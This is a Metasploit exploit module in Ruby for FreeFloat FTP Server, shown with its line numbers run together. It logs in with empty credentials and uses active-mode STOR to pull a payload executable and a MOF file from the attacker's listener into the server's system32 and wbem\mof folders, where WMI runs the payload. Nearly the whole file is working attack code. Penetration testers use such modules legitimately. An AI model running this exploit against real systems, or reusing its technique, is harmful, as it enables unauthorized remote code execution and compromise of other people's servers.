Path: blob/master/modules/exploits/windows/ftp/freefloatftp_wbem.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::TcpServer10include Msf::Exploit::EXE11include Msf::Exploit::WbemExec12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => "FreeFloat FTP Server Arbitrary File Upload",19'Description' => %q{20This module abuses multiple issues in FreeFloat: 1. No credential is actually21needed to login; 2. User's default path is in C:\, and this cannot be changed;223. User can write to anywhere on the server's file system. As a result of these23poor implementations, a malicious user can just log in and then upload files,24and let WMI (Management Instrumentation service) to execute the payload uploaded.25},26'License' => MSF_LICENSE,27'Author' => [28'sinn3r', # Vulnerability discovery, Metasploit module29'juan vazquez' # Metasploit module30],31'References' => [32['OSVDB', '88302'],33['OSVDB', '88303']34],35'Platform' => 'win',36'Targets' => [37['FreeFloat', {}]38],39'Privileged' => true,40'DisclosureDate' => '2012-12-07',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52# Change the default description so this option makes sense53OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])54]55)5657deregister_options('FTPUSER', 'FTPPASS') # Using empty user and password58end5960def check61connect62disconnect6364if banner =~ /FreeFloat/65return Exploit::CheckCode::Detected66else67return Exploit::CheckCode::Safe68end69end7071def on_client_connect(cli)72peer = "#{cli.peerhost}:#{cli.peerport}"7374case @stage75when :exe76print_status("Sending executable (#{@exe.length.to_s} bytes)")77cli.put(@exe)78@stage = :mof7980when :mof81print_status("Sending MOF (#{@mof.length.to_s} bytes)")82cli.put(@mof)83end8485cli.close86end8788def upload(filename)89select(nil, nil, nil, 1)9091peer = "#{rhost}:#{rport}"92print_status("Trying to upload #{::File.basename(filename)}")9394conn = connect(false, datastore['VERBOSE'])9596print_status("Sending empty login...")9798res = send_user("", conn)99if not res or res !~ /331/100print_error("Error sending username")101return false102end103104res = send_pass("", conn)105if not res or res !~ /230/106print_error("Error sending password")107return false108end109110print_good("Empty authentication was successful")111112# Switch to binary mode113print_status("Set binary mode")114send_cmd(['TYPE', 'I'], true, conn)115116# Prepare active mode: Get attacker's IP and source port117src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']118src_port = datastore['SRVPORT'].to_i119120# Prepare active mode: Convert the IP and port for active mode121src_ip = src_ip.gsub(/\./, ',')122src_port = "#{src_port / 256},#{src_port.remainder(256)}"123124# Set to active mode125print_status("Set active mode \"#{src_ip},#{src_port}\"")126send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)127128# Tell the FTP server to download our file129send_cmd(['STOR', filename], false, conn)130131disconnect(conn)132end133134def exploit135exe_name = "WINDOWS/system32/#{rand_text_alpha(rand(10) + 5)}.exe"136mof_name = "WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10) + 5)}.mof"137@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))138@exe = generate_payload_exe139@stage = :exe140141begin142t = framework.threads.spawn("reqs", false) {143begin144# Upload our malicious executable145u = upload(exe_name)146# Upload the mof file147upload(mof_name) if u148register_file_for_cleanup("#{::File.basename(exe_name)}")149register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")150rescue ::Exception => e151print_error "Upload Failed: #{e.message}"152cleanup153end154}155super156ensure157t.kill158end159end160end161162163